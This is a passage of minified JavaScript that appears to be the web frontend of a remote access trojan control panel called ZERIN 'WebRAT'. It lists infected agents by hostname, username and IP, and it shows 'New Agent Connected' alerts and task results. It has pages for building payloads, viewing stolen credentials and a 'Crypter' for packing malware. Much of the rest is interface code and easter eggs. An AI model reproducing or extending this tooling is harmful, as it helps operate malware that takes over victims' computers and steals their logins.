items-center justify-center h-screen bg-zerin-bg",children:a.jsxs("div",{className:"text-center bg-zerin-panel border border-zerin-panel-border p-10 max-w-md",children:[a.jsx("div",{className:"w-12 h-12 mx-auto mb-4 bg-zerin-danger-dim flex items-center justify-center",children:a.jsx("svg",{className:"w-6 h-6 text-zerin-danger",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 9v2m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})})}),a.jsx("h2",{className:"font-display text-lg text-zerin-text font-semibold mb-2",children:"Something went wrong"}),a.jsx("p",{className:"text-zerin-text-muted text-sm mb-6",children:"An unexpected error occurred. Please reload the page to continue."}),a.jsx("button",{onClick:()=>window.location.reload(),className:`inline-flex items-center gap-2 text-sm font-medium text-white\r + bg-zerin-accent hover:bg-zerin-accent-hover\r + px-4 py-2 transition-colors`,children:"Reload"})]})}):this.props.children}}function S6(e={}){const{onMessage:t,reconnectInterval:n=3e3,maxReconnectAttempts:r=10}=e,[i,s]=m.useState(!1),[o,l]=m.useState(null),c=m.useRef(null),u=m.useRef(0),d=m.useRef(),f=m.useRef(t);f.current=t;const p=m.useCallback(()=>{const x=st();if(!x)return;c.current&&c.current.close();const y=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/api/ws`,v=new WebSocket(y);c.current=v,v.onopen=()=>{v.send(JSON.stringify({type:"auth",token:x})),s(!0),u.current=0},v.onmessage=b=>{var w;try{const j=JSON.parse(b.data);l(j),(w=f.current)==null||w.call(f,j)}catch{}},v.onclose=()=>{if(s(!1),c.current=null,u.current{p()},w)}else al(),zi()},v.onerror=()=>{v.close()}},[n,r]),h=m.useCallback(()=>{u.current=0,p()},[p]);return m.useEffect(()=>(p(),()=>{d.current&&clearTimeout(d.current),c.current&&c.current.close()}),[p]),{isConnected:i,lastMessage:o,reconnect:h}}const nm="zerin_notifications_enabled";function C6(){const[e,t]=m.useState(typeof Notification<"u"?Notification.permission:"denied"),[n,r]=m.useState(()=>localStorage.getItem(nm)==="true");m.useEffect(()=>{typeof Notification<"u"&&t(Notification.permission)},[]);const i=m.useCallback(async()=>{if(typeof Notification>"u")return;const l=await Notification.requestPermission();t(l),l==="granted"&&(r(!0),localStorage.setItem(nm,"true"))},[]),s=m.useCallback(()=>{r(l=>{const c=!l;return localStorage.setItem(nm,String(c)),c})},[]),o=m.useCallback((l,c)=>{if(!(!n||e!=="granted")&&!(typeof Notification>"u")&&!document.hasFocus())try{new Notification(l,{body:c,icon:"/favicon.ico",silent:!1})}catch{}},[n,e]);return{permission:e,enabled:n,requestPermission:i,toggleEnabled:s,notify:o,isSupported:typeof Notification<"u"}}const rm="zerin-uwu-mode",qg=20,P6=3e3;function E6(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(650,t),n.frequency.linearRampToValueAtTime(1050,t+.1),n.frequency.linearRampToValueAtTime(700,t+.2),n.frequency.linearRampToValueAtTime(400,t+.5),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.18,t+.04),r.gain.setValueAtTime(.18,t+.15),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6);const i=e.createOscillator(),s=e.createGain();i.type="triangle",i.frequency.setValueAtTime(1300,t),i.frequency.linearRampToValueAtTime(2100,t+.1),i.frequency.linearRampToValueAtTime(1e3,t+.3),s.gain.setValueAtTime(0,t),s.gain.linearRampToValueAtTime(.05,t+.04),s.gain.exponentialRampToValueAtTime(.001,t+.35),i.connect(s).connect(e.destination),i.start(t),i.stop(t+.4);const o=e.createOscillator(),l=e.createGain(),c=e.createBiquadFilter();o.type="sawtooth",o.frequency.setValueAtTime(180,t),c.type="bandpass",c.frequency.setValueAtTime(900,t),c.frequency.linearRampToValueAtTime(400,t+.5),c.Q.value=2,l.gain.setValueAtTime(0,t),l.gain.linearRampToValueAtTime(.025,t+.1),l.gain.exponentialRampToValueAtTime(.001,t+.5),o.connect(c).connect(l).connect(e.destination),o.start(t),o.stop(t+.55)}catch{}}function _6(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sine",n.frequency.setValueAtTime(900,t),n.frequency.linearRampToValueAtTime(600,t+.15),n.frequency.linearRampToValueAtTime(250,t+.6),r.gain.setValueAtTime(0,t),r.gain.linearRampToValueAtTime(.15,t+.03),r.gain.exponentialRampToValueAtTime(.001,t+.65),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.7)}catch{}}function A6(e){try{const t=new AudioContext,n=t.currentTime,r=t.createOscillator(),i=t.createGain();r.type="sine",r.frequency.setValueAtTime(400+e*100,n),r.frequency.linearRampToValueAtTime(500+e*100,n+.04),i.gain.setValueAtTime(.1,n),i.gain.exponentialRampToValueAtTime(.001,n+.12),r.connect(i).connect(t.destination),r.start(n),r.stop(n+.15)}catch{}}function O6(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);const t=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f"];for(let n=0;n<45;n++){const r=document.createElement("div");r.className="femboy-sparkle";const i=6+Math.random()*18;r.style.cssText=` + left:${Math.random()*100}vw; + top:${Math.random()*100}vh; + width:${i}px; + height:${i}px; + background:${t[n%t.length]}; + animation-delay:${Math.random()*.6}s; + `,e.appendChild(r)}setTimeout(()=>e.remove(),2e3)}const Xg=["🐾","💖","✨","🎀","😻","🌸","💛","💜","🧋"],Zg=["#ff69b4","#ff1493","#ffb6c1","#ff85c8","#f0f","#ff6ec7","#da70d6","#ee82ee"];function T6(e,t){const n=8+Math.floor(Math.random()*6);for(let r=0;r.45,o=Math.PI*2*r/n+(Math.random()-.5)*.8,l=40+Math.random()*80,c=Math.cos(o)*l,u=Math.sin(o)*l-30,d=Math.floor(Math.random()*720-360);if(s){const f=Xg[Math.floor(Math.random()*Xg.length)];i.textContent=f,i.style.cssText=` + position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; + font-size:${10+Math.random()*14}px; + --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; + animation:femConfetti ${.5+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; + animation-delay:${Math.random()*.08}s; + `}else{const f=Zg[Math.floor(Math.random()*Zg.length)],p=4+Math.random()*6,h=4+Math.random()*8;i.style.cssText=` + position:fixed;left:${e}px;top:${t}px;pointer-events:none;z-index:100000; + width:${p}px;height:${h}px;background:${f}; + border-radius:${Math.random()>.5?"50%":"1px"}; + --fem-dx:${c}px;--fem-dy:${u}px;--fem-rot:${d}deg; + animation:femConfetti ${.4+Math.random()*.4}s cubic-bezier(.15,.8,.3,1) forwards; + animation-delay:${Math.random()*.06}s; + `}document.body.appendChild(i),setTimeout(()=>i.remove(),1e3)}}const Qg=["❤️","💖","💗","💕","♥️","🌸"];let Jg=0;function M6(e,t){const n=Date.now();if(n-Jg<60)return;Jg=n;const r=document.createElement("span");r.className="femboy-heart-trail",r.textContent=Qg[Math.floor(Math.random()*Qg.length)];const i=(Math.random()-.5)*24,s=(Math.random()-.5)*40;r.style.cssText=`left:${e-6}px;top:${t-6}px;--fem-hx:${i}px;--fem-hr:${s}deg;font-size:${10+Math.random()*8}px;`,document.body.appendChild(r),setTimeout(()=>r.remove(),800)}function ey(){if(document.getElementById("fem-yt-player"))return;const e=document.createElement("iframe");e.id="fem-yt-player",e.allow="autoplay; encrypted-media",e.src="https://www.youtube.com/embed/kVdYwWq631I?autoplay=1&start=13&loop=1&playlist=kVdYwWq631I&enablejsapi=1&controls=0&origin="+encodeURIComponent(window.location.origin),e.style.cssText="position:fixed;width:1px;height:1px;top:-9999px;left:-9999px;opacity:0;pointer-events:none;border:none;",document.body.appendChild(e),e.addEventListener("load",()=>{const t=()=>{var n;try{(n=e.contentWindow)==null||n.postMessage(JSON.stringify({event:"command",func:"setVolume",args:[12]}),"*")}catch{}};setTimeout(t,800),setTimeout(t,2e3)})}function ty(){var t;const e=document.getElementById("fem-yt-player");if(e){try{(t=e.contentWindow)==null||t.postMessage(JSON.stringify({event:"command",func:"stopVideo",args:[]}),"*")}catch{}e.remove()}}const ny=["(=^・ω・^=)","(◕ᴗ◕✿)","OwO","UwU","nya~","(≧◡≦)","♡","~nyaa","(=ˆ・ω・ˆ=)","meow~"];function L6(){const e=document.createElement("span");e.className="femboy-kaomoji",e.textContent=ny[Math.floor(Math.random()*ny.length)],e.style.left=`${20+Math.random()*60}vw`,e.style.top=`${20+Math.random()*60}vh`,document.body.appendChild(e),setTimeout(()=>e.remove(),3500)}function I6(){const[e,t]=m.useState(()=>{try{return localStorage.getItem(rm)==="true"}catch{return!1}}),n=m.useRef(0),r=m.useRef();m.useEffect(()=>{const s=document.documentElement.classList;return e?(s.add("femboy-theme"),ey()):(s.remove("femboy-theme"),ty()),()=>{s.remove("femboy-theme"),ty()}},[e]),m.useEffect(()=>{if(!e)return;const s=o=>{T6(o.clientX,o.clientY)};return document.addEventListener("click",s,!0),()=>document.removeEventListener("click",s,!0)},[e]),m.useEffect(()=>{if(!e)return;const s=o=>{M6(o.clientX,o.clientY)};return document.addEventListener("mousemove",s),()=>document.removeEventListener("mousemove",s)},[e]),m.useEffect(()=>{if(!e)return;const s=()=>{L6(),o=setTimeout(s,8e3+Math.random()*7e3)};let o=setTimeout(s,3e3);return()=>clearTimeout(o)},[e]);const i=m.useCallback(()=>{if(n.current++,clearTimeout(r.current),r.current=setTimeout(()=>{n.current=0},P6),e){if(n.current>=qg){n.current=0,t(!1);try{localStorage.removeItem(rm)}catch{}_6()}return}if(n.current>=15&&A6(n.current-14),n.current>=qg){n.current=0,t(!0);try{localStorage.setItem(rm,"true")}catch{}E6(),O6(),ey()}},[e]);return{isActive:e,handleStatusClick:i}}const ry=["ArrowUp","ArrowUp","ArrowLeft","ArrowLeft","s","y"];function D6(){try{const e=new AudioContext,t=e.currentTime,n=e.createGain();n.gain.setValueAtTime(.12,t),n.connect(e.destination),[261.6,329.6,392,523.3,659.3].forEach((l,c)=>{const u=t+c*.07,d=e.createOscillator(),f=e.createGain();d.type="sawtooth",d.frequency.setValueAtTime(l,u),f.gain.setValueAtTime(0,u),f.gain.linearRampToValueAtTime(.15,u+.02),f.gain.exponentialRampToValueAtTime(.001,u+.35),d.connect(f).connect(n),d.start(u),d.stop(u+.4)});const i=e.createOscillator(),s=e.createGain(),o=e.createBiquadFilter();i.type="triangle",i.frequency.setValueAtTime(130.8,t),o.type="lowpass",o.frequency.setValueAtTime(800,t),o.frequency.linearRampToValueAtTime(200,t+1.5),s.gain.setValueAtTime(0,t),s.gain.linearRampToValueAtTime(.08,t+.1),s.gain.setValueAtTime(.08,t+.8),s.gain.exponentialRampToValueAtTime(.001,t+1.5),i.connect(o).connect(s).connect(n),i.start(t),i.stop(t+1.6)}catch{}}function R6(){try{const e=new AudioContext,t=e.currentTime,n=e.createOscillator(),r=e.createGain();n.type="sawtooth",n.frequency.setValueAtTime(600,t),n.frequency.exponentialRampToValueAtTime(80,t+.5),r.gain.setValueAtTime(.1,t),r.gain.exponentialRampToValueAtTime(.001,t+.55),n.connect(r).connect(e.destination),n.start(t),n.stop(t+.6)}catch{}}function $6(){const e=document.createElement("div");e.style.cssText="position:fixed;inset:0;pointer-events:none;z-index:99999;overflow:hidden;",document.body.appendChild(e);for(let n=0;n<8;n++){const r=document.createElement("div");r.style.cssText=` + position:absolute;left:0;right:0;height:2px; + top:${n*13}%; + background:linear-gradient(90deg, transparent, ${n%2===0?"#FF2D95":"#00F0FF"}, transparent); + box-shadow:0 0 12px ${n%2===0?"#FF2D95":"#00F0FF"}; + opacity:0; + animation:synthBurstLine 0.6s ease-out ${n*.05}s forwards; + `,e.appendChild(r)}const t=["#FF2D95","#00F0FF","#B026FF","#FF6B9D","#00D4FF"];for(let n=0;n<30;n++){const r=document.createElement("div"),i=3+Math.random()*6,s=30+Math.random()*40,o=30+Math.random()*40,l=(Math.random()-.5)*300,c=(Math.random()-.5)*300,u=t[n%t.length];r.style.cssText=` + position:absolute;left:${s}%;top:${o}%; + width:${i}px;height:${i}px; + background:${u};border-radius:50%; + box-shadow:0 0 8px ${u}, 0 0 16px ${u}40; + --synth-dx:${l}px;--synth-dy:${c}px; + animation:synthBurstParticle 0.8s cubic-bezier(.15,.8,.3,1) ${Math.random()*.15}s forwards; + `,e.appendChild(r)}setTimeout(()=>e.remove(),1500)}let iy=0,im=0;function B6(e,t){const n=Date.now();if(n-iy<40)return;iy=n,im=(im+15)%360;const r=document.createElement("div");r.className="synthwave-trail";const i=im<180?"#FF2D95":"#00F0FF";r.style.cssText=`left:${e}px;top:${t}px;background:${i};box-shadow:0 0 6px ${i},0 0 12px ${i}60;`,document.body.appendChild(r),setTimeout(()=>r.remove(),500)}function F6(){const e=document.createElement("div");e.className="synthwave-shape";const t=["triangle","diamond","circle"],n=t[Math.floor(Math.random()*t.length)],r=Math.random()>.5?"#FF2D95":"#00F0FF",i=12+Math.random()*20,s=10+Math.random()*80;let o="";n==="triangle"?o="polygon(50% 0%, 0% 100%, 100% 100%)":n==="diamond"?o="polygon(50% 0%, 100% 50%, 50% 100%, 0% 50%)":o="circle(50%)",e.style.cssText=` + left:${s}vw;width:${i}px;height:${i}px; + clip-path:${o}; + border:1.5px solid ${r}; + box-shadow:0 0 8px ${r}60,inset 0 0 4px ${r}30; + background:${r}08; + `,document.body.appendChild(e),setTimeout(()=>e.remove(),6e3)}function W6(){const[e,t]=m.useState(!1),n=m.useRef([]),r=m.useRef();return m.useEffect(()=>{function i(s){var u,d;const o=(u=s.target)==null?void 0:u.tagName;if(o==="INPUT"||o==="TEXTAREA"||o==="SELECT"||(d=s.target)!=null&&d.isContentEditable)return;const l=s.key.length===1?s.key.toLowerCase():s.key;n.current.push(l);const c=ry.length;if(n.current.length>c&&(n.current=n.current.slice(-c)),clearTimeout(r.current),r.current=setTimeout(()=>{n.current=[]},4e3),n.current.length>=c){const f=n.current.slice(-c);ry.every((h,x)=>f[x]===h)&&(n.current=[],t(h=>(h?R6():(D6(),$6()),!h)))}}return window.addEventListener("keydown",i),()=>window.removeEventListener("keydown",i)},[]),m.useEffect(()=>{const i=document.documentElement.classList;return e?i.add("synthwave-theme"):i.remove("synthwave-theme"),()=>{i.remove("synthwave-theme")}},[e]),m.useEffect(()=>{if(!e)return;const i=s=>B6(s.clientX,s.clientY);return document.addEventListener("mousemove",i),()=>document.removeEventListener("mousemove",i)},[e]),m.useEffect(()=>{if(!e)return;const i=()=>{F6(),s=setTimeout(i,5e3+Math.random()*5e3)};let s=setTimeout(i,2e3);return()=>clearTimeout(s)},[e]),{isActive:e}}const U6={sm:"w-2 h-2",md:"w-2.5 h-2.5",lg:"w-3 h-3"},V6={sm:"text-[10px]",md:"text-xs",lg:"text-sm"},H6={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},K6={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zinc-700"},G6={alive:"ALIVE",stale:"STALE",dead:"DEAD"};function xd({status:e,size:t="md",showLabel:n=!1}){return a.jsxs("span",{className:"inline-flex items-center gap-2",children:[a.jsxs("span",{className:"relative inline-flex",children:[e==="alive"&&a.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),a.jsx("span",{className:`relative inline-block rounded-full ${U6[t]} ${H6[e]}`})]}),n&&a.jsx("span",{className:`font-mono font-medium tracking-wider ${V6[t]} ${K6[e]}`,children:G6[e]})]})}function Y6({open:e,onClose:t,agents:n}){const[r,i]=m.useState(""),[s,o]=m.useState(0),l=m.useRef(null),c=xr(),u=m.useMemo(()=>{if(r.trim()){const f=r.toLowerCase();return n.filter(p=>p.hostname.toLowerCase().includes(f)||p.username.toLowerCase().includes(f)||p.internal_ip.includes(f)||p.external_ip.includes(f)||p.id.toLowerCase().includes(f)).slice(0,10).map(p=>({type:"agent",id:p.id,primary:p.hostname,secondary:`${p.username} — ${p.internal_ip}`,agent:p}))}return n.slice(0,5).map(f=>({type:"agent",id:f.id,primary:f.hostname,secondary:`${f.username} — ${f.internal_ip}`,agent:f}))},[r,n]);m.useEffect(()=>{e&&(i(""),o(0),setTimeout(()=>{var f;return(f=l.current)==null?void 0:f.focus()},50))},[e]),m.useEffect(()=>{o(0)},[r]);const d=m.useCallback(f=>{t(),c(`/agents/${f.id}`)},[c,t]);return m.useEffect(()=>{if(!e)return;function f(p){if(p.key==="Escape"){t();return}p.key==="ArrowDown"&&(p.preventDefault(),o(h=>Math.min(h+1,u.length-1))),p.key==="ArrowUp"&&(p.preventDefault(),o(h=>Math.max(h-1,0))),p.key==="Enter"&&u[s]&&(p.preventDefault(),d(u[s]))}return window.addEventListener("keydown",f),()=>window.removeEventListener("keydown",f)},[e,u,s,t,d]),e?a.jsxs("div",{className:"fixed inset-0 z-50 flex items-start justify-center pt-[15vh]",onClick:t,children:[a.jsx("div",{className:"absolute inset-0 bg-black/60"}),a.jsxs("div",{className:"relative w-full max-w-lg bg-zerin-panel border border-zerin-panel-border shadow-2xl shadow-black/40 animate-fade-in",onClick:f=>f.stopPropagation(),children:[a.jsxs("div",{className:"flex items-center gap-3 px-4 py-3 border-b border-zerin-panel-border",children:[a.jsx("svg",{className:"w-4 h-4 text-zerin-text-muted flex-shrink-0",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("input",{ref:l,type:"text",value:r,onChange:f=>i(f.target.value),placeholder:"Search agents by hostname, IP, username...",className:"flex-1 bg-transparent text-sm text-zerin-text placeholder-zerin-text-muted focus:outline-none"}),a.jsx("kbd",{className:"text-[10px] text-zerin-text-muted bg-zerin-bg px-1.5 py-0.5 border border-zerin-panel-border font-mono",children:"ESC"})]}),a.jsx("div",{className:"max-h-[50vh] overflow-y-auto custom-scrollbar",children:u.length===0?a.jsx("div",{className:"px-4 py-8 text-center",children:a.jsx("p",{className:"text-zerin-text-muted text-sm",children:r?"No results found":"No agents available"})}):a.jsxs("div",{className:"py-1",children:[!r&&a.jsx("div",{className:"px-4 py-2 text-[10px] text-zerin-text-muted uppercase tracking-wider font-medium",children:"Recent Agents"}),u.map((f,p)=>a.jsxs("button",{onClick:()=>d(f),onMouseEnter:()=>o(p),className:`w-full text-left flex items-center gap-3 px-4 py-2.5 transition-colors ${p===s?"bg-zerin-accent-muted":"hover:bg-zerin-panel-hover"}`,children:[f.agent&&a.jsx(xd,{status:f.agent.status,size:"sm"}),a.jsxs("div",{className:"min-w-0 flex-1",children:[a.jsx("p",{className:`text-sm font-medium truncate ${p===s?"text-zerin-accent":"text-zerin-text"}`,children:f.primary}),a.jsx("p",{className:"text-xs text-zerin-text-muted truncate",children:f.secondary})]}),a.jsx("span",{className:"text-[10px] font-mono text-zerin-text-muted flex-shrink-0",children:f.id.slice(0,8)})]},f.id))]})}),a.jsxs("div",{className:"px-4 py-2.5 border-t border-zerin-panel-border flex items-center gap-4 text-[10px] text-zerin-text-muted",children:[a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↑↓"}),"navigate"]}),a.jsxs("span",{className:"flex items-center gap-1",children:[a.jsx("kbd",{className:"bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border font-mono",children:"↵"}),"select"]})]})]})]}):null}let ca={status:"idle",payloadName:"",startedAt:0,error:""};const Tp=new Set;function vd(){Tp.forEach(e=>e())}function Oj(){return ca}function Tj(e){return Tp.add(e),()=>Tp.delete(e)}function q6(e){ca={status:"building",payloadName:e,startedAt:Date.now(),error:""},vd()}function X6(){ca={...ca,status:"success"},vd()}function ay(e){ca={...ca,status:"error",error:e},vd()}function sy(){ca={status:"idle",payloadName:"",startedAt:0,error:""},vd()}const gd=m.createContext({lastMessage:null}),Z6=[{to:"/dashboard",label:"Dashboard",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M3 4a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1H4a1 1 0 01-1-1v-4zm8-8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1V4zm0 8a1 1 0 011-1h4a1 1 0 011 1v4a1 1 0 01-1 1h-4a1 1 0 01-1-1v-4z"})})},{to:"/events",label:"Events",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})})},{to:"/payloads",label:"Build",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M5 2a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2V4a2 2 0 00-2-2H5zm0 6a2 2 0 00-2 2v1a2 2 0 002 2h10a2 2 0 002-2v-1a2 2 0 00-2-2H5zm-2 8a2 2 0 012-2h10a2 2 0 012 2v1a2 2 0 01-2 2H5a2 2 0 01-2-2v-1z",clipRule:"evenodd"})})},{to:"/credentials",label:"Credentials",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M18 8a6 6 0 01-7.743 5.743L10 14l-1 1-1 1H6v2H2v-4l4.257-4.257A6 6 0 1118 8zm-6-4a1 1 0 100 2 2 2 0 012 2 1 1 0 102 0 4 4 0 00-4-4z",clipRule:"evenodd"})})}],Q6={to:"/crypter",label:"Crypter",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M5 9V7a5 5 0 0110 0v2a2 2 0 012 2v5a2 2 0 01-2 2H5a2 2 0 01-2-2v-5a2 2 0 012-2zm8-2v2H7V7a3 3 0 016 0z",clipRule:"evenodd"})})},J6={to:"/admin",label:"Admin",icon:a.jsx("svg",{className:"w-4.5 h-4.5",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{fillRule:"evenodd",d:"M11.49 3.17c-.38-1.56-2.6-1.56-2.98 0a1.532 1.532 0 01-2.286.948c-1.372-.836-2.942.734-2.106 2.106.54.886.061 2.042-.947 2.287-1.561.379-1.561 2.6 0 2.978a1.532 1.532 0 01.947 2.287c-.836 1.372.734 2.942 2.106 2.106a1.532 1.532 0 012.287.947c.379 1.561 2.6 1.561 2.978 0a1.533 1.533 0 012.287-.947c1.372.836 2.942-.734 2.106-2.106a1.533 1.533 0 01.947-2.287c1.561-.379 1.561-2.6 0-2.978a1.532 1.532 0 01-.947-2.287c.836-1.372-.734-2.942-2.106-2.106a1.532 1.532 0 01-2.287-.947zM10 13a3 3 0 100-6 3 3 0 000 6z",clipRule:"evenodd"})})};function e_(){const e=m.useMemo(()=>Array.from({length:10},(t,n)=>({id:n,left:`${3+n*10}%`,delay:`${n*2.3}s`,duration:`${7+n%4*2.5}s`,size:`${13+n%5*3}px`})),[]);return a.jsx("div",{className:"fixed inset-0 pointer-events-none z-[9999] overflow-hidden","aria-hidden":!0,children:e.map(t=>a.jsx("span",{className:"femboy-paw",style:{left:t.left,animationDelay:t.delay,animationDuration:t.duration,fontSize:t.size},children:"🐾"},t.id))})}function t_(){const{logout:e,isAdmin:t}=ya(),r=m.useSyncExternalStore(Tj,Oj).status==="building",s=kj()==="rat_crypter"||t,o=[...Z6,...s?[Q6]:[],...t?[J6]:[]],l=xr(),{permission:c,enabled:u,requestPermission:d,toggleEnabled:f,notify:p,isSupported:h}=C6(),[x,g]=m.useState(!1),[y,v]=m.useState([]),{isActive:b,handleStatusClick:w}=I6(),{isActive:j}=W6(),[N,k]=m.useState(!1),z=m.useRef(""),S=m.useRef(null);m.useEffect(()=>{function D(G){var K,_;if(N||G.ctrlKey||G.metaKey||G.altKey)return;const R=(K=G.target)==null?void 0:K.tagName;R==="INPUT"||R==="TEXTAREA"||R==="SELECT"||(_=G.target)!=null&&_.isContentEditable||G.key.length===1&&(z.current+=G.key.toLowerCase(),z.current.length>20&&(z.current=z.current.slice(-10)),S.current&&clearTimeout(S.current),S.current=setTimeout(()=>{z.current=""},3e3),z.current.includes("credits")&&(z.current="",k(!0)))}return window.addEventListener("keydown",D),()=>window.removeEventListener("keydown",D)},[N]),m.useEffect(()=>(document.body.classList.add("app-layout"),()=>document.body.classList.remove("app-layout")),[]);const O=m.useCallback(async()=>{try{const D=await Sj();v(D)}catch{}},[]);m.useEffect(()=>{O();const D=setInterval(O,15e3);return()=>clearInterval(D)},[O]);const A=m.useCallback(D=>{if(D.type==="agent_update"){const G=D.payload;v(R=>{const K=R.findIndex(_=>_.id===G.id);if(K>=0){const _=[...R];return _[K]=G,_}return p("New Agent Connected",`${G.hostname} (${G.internal_ip})`),[G,...R]})}if(D.type==="event"){const G=D.payload;(G.type==="task_completed"||G.type==="task_failed")&&p("Task Update",G.message)}},[p]),{isConnected:T,lastMessage:P}=S6({onMessage:A});return m.useEffect(()=>{function D(G){(G.metaKey||G.ctrlKey)&&G.key==="k"&&(G.preventDefault(),g(R=>!R))}return window.addEventListener("keydown",D),()=>window.removeEventListener("keydown",D)},[]),a.jsx(gd.Provider,{value:{lastMessage:P},children:a.jsxs("div",{className:"flex h-screen bg-zerin-bg overflow-hidden",children:[a.jsxs("aside",{className:"w-56 flex-shrink-0 bg-zerin-panel border-r border-zerin-panel-border flex flex-col",children:[a.jsx("div",{className:"px-5 py-5 border-b border-zerin-panel-border cursor-pointer group",onClick:()=>l("/dashboard"),children:a.jsxs("div",{className:"flex items-center gap-2 relative",children:[b&&a.jsxs(a.Fragment,{children:[a.jsx("div",{className:"femboy-ear femboy-ear-left"}),a.jsx("div",{className:"femboy-ear femboy-ear-right"})]}),a.jsx("span",{className:`font-display text-lg font-bold transition-colors ${j?"synthwave-logo-glow":b?"text-[#ff69b4] femboy-logo-glow":"text-zerin-text group-hover:text-zerin-accent"}`,children:"ZERIN"}),a.jsx("span",{className:`px-1.5 py-0.5 text-[10px] font-mono font-semibold tracking-wider ${j?"text-[#00F0FF] border border-[#00F0FF]/30 synthwave-badge":b?"text-[#ff69b4] border border-[#ff69b4]/25 femboy-badge":"text-zerin-accent border border-zerin-accent/20"}`,children:j?"NEON":b?"CatRAT":"WebRAT"})]})}),a.jsxs("button",{onClick:()=>g(!0),className:`mx-3 mt-4 flex items-center gap-2.5 px-3 py-2 text-xs\r + text-zerin-text-muted border border-zerin-panel-border\r + hover:border-zerin-panel-border-hover hover:text-zerin-text-dim\r + transition-colors`,children:[a.jsx("svg",{className:"w-3.5 h-3.5",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})}),a.jsx("span",{className:"flex-1 text-left",children:"Search..."}),a.jsx("kbd",{className:"text-[10px] font-mono bg-zerin-bg px-1 py-0.5 border border-zerin-panel-border",children:"Ctrl+K"})]}),a.jsx("nav",{className:"flex-1 px-3 py-4 space-y-0.5",children:o.map(({to:D,label:G,icon:R})=>a.jsx(VE,{to:D,end:D==="/dashboard",className:({isActive:K})=>`group relative flex items-center gap-3 px-3 py-2.5 text-sm font-sans transition-colors duration-150 + ${K?"bg-zerin-accent-muted text-zerin-accent":"text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover"}`,children:({isActive:K})=>a.jsxs(a.Fragment,{children:[K&&a.jsx("span",{className:"absolute left-0 top-1/2 -translate-y-1/2 w-0.5 h-5 bg-zerin-accent"}),a.jsx("span",{className:K?"text-zerin-accent":"text-zerin-text-muted group-hover:text-zerin-text-dim",children:R}),a.jsx("span",{className:"font-medium",children:G}),D==="/payloads"&&r&&a.jsx("span",{className:"ml-auto flex items-center gap-1.5",children:a.jsxs("svg",{className:"animate-spin h-3 w-3 text-zerin-accent",xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"4"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4z"})]})})]})},D))}),a.jsxs("div",{className:"px-3 py-4 border-t border-zerin-panel-border space-y-3",children:[h&&a.jsxs("button",{onClick:()=>{c!=="granted"?d():f()},className:`w-full flex items-center gap-2.5 px-3 py-2 text-xs\r + text-zerin-text-dim hover:text-zerin-text hover:bg-zerin-panel-hover\r + transition-colors duration-150`,title:u?"Notifications enabled — click to disable":"Click to enable notifications",children:[a.jsx("svg",{className:"w-4 h-4",viewBox:"0 0 20 20",fill:"currentColor",children:a.jsx("path",{d:"M10 2a6 6 0 00-6 6v3.586l-.707.707A1 1 0 004 14h12a1 1 0 00.707-1.707L16 11.586V8a6 6 0 00-6-6zm0 16a3 3 0 01-3-3h6a3 3 0 01-3 3z"})}),a.jsx("span",{className:"flex-1 